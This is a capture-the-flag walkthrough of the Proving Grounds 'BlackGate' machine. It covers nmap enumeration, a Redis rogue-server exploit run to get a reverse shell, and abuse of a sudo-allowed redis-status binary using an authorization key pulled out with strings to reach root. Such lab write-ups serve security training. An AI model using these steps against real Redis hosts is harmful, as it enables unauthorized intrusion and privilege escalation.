PG - BlackGate

PG – BlackGate

In this walk through, we will be going through the BlackGate room from Proving Grounds. This room is rated as Hard on the platform and it consist of exploitation of redis server RCE exploitation to get an initial shell followed by the exploitation of redis-status binary to get root. So, let’s get started without any delay.


Machine Info:

DescriptionBlackGate is a Hard Linux machine that requires redis server RCE exploitation to get an initial shell followed by the exploitation of redis-status binary to get root.


  • I started off with a regular nmap aggressive scan and found only two ports opened – 22 (SSH) and 6379 (Redis).

$ sudo nmap -A
[sudo] password for wh1terose: 
Starting Nmap 7.80 ( ) at 2024-01-18 11:22 IST

Nmap scan report for
Host is up (0.19s latency).
Not shown: 998 closed ports
22/tcp open     ssh     OpenSSH 8.3p1 Ubuntu 1ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| vulners: 
|   cpe:/a:openbsd:openssh:8.3p1: 
|     	CVE-2020-15778	6.8
|     	C94132FD-1FA5-5342-B6EE-0DAF45EEFFE3	6.8	*EXPLOIT*
|     	10213DBE-F683-58BB-B6D3-353173626207	6.8	*EXPLOIT*
|     	PRION:CVE-2016-20012	5.0
|     	PRION:CVE-2021-28041	4.6
|     	CVE-2021-28041	4.6
|     	PRION:CVE-2020-15778	4.4
|     	CVE-2021-41617	4.4
|     	PRION:CVE-2020-14145	4.3
|     	CVE-2020-14145	4.3
|     	CVE-2016-20012	4.3
|     	PRION:CVE-2021-41617	3.5
|     	PRION:CVE-2021-36368	2.6
|_    	CVE-2021-36368	2.6
53/tcp filtered domain
No exact OS matches for host (If you know what OS is running on it, see ).
TCP/IP fingerprint:

Network Distance: 4 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 21/tcp)
1   205.15 ms
2   205.11 ms
3   205.77 ms
4   205.86 ms

OS and Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 40.33 seconds

nmap scan

sudo nmap -sS -p- -T5

all port scan

  • Enumerated redis with nmap scripts which revealed us the redis version running that was – 4.0.14

sudo nmap --script redis-info,redis-brute -p 6379

redis Enumeration

Initial Access:

  • Next, i checked online for any exploits of the concerned version and found out that we can use Redis rogue server script to get a reverse shell back using the redis server.

./ --rhost --lhost

Redis Rogue Server exploit

got initial access

  • Captured the local flag.

local flag

Privilege Escalation:

  • Moving on, used Linpeas on the target to enumerate some potential privilege escalation vectors and found our that we can run redis-status binary as root.

sudo -l

Wrong Authorization key

  • Checked for any strings that might be important for us using the string binary reveals a potential authorization key which is required by the redis-status binary.

strings /usr/local/bin/redis-status

Got Authorization key

  • Used the captured Authorization key in the binary and executed the command to spawn a shell once the binary is in halt after the processing which grants me a shell as root.

sudo /usr/local/bin/redis-status


redis-status service running

  • Finally captured the root flag to complete the challenge.

root flag

Also Read: PG – Astronaut



So that was BlackGatefor you. We started off with a regular nmap scan and found only two port opened – 22 (SSH) and 6379 (Redis).. Enumerated the redis service and found out that the version running is 4.0.14. Looked online for any known exploit related to it and found that it is vulnerable to a Redis Rogue Server RCE vulnearbility. Got access using the concerned exploit and performed post-compromise enumeration with Linpeas. Found out a redis-status binary that we can run as sudo, abused it to get root on the system. On that note, i would take your leave and will meet you in next one. Till then, “Happy hacking”.

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top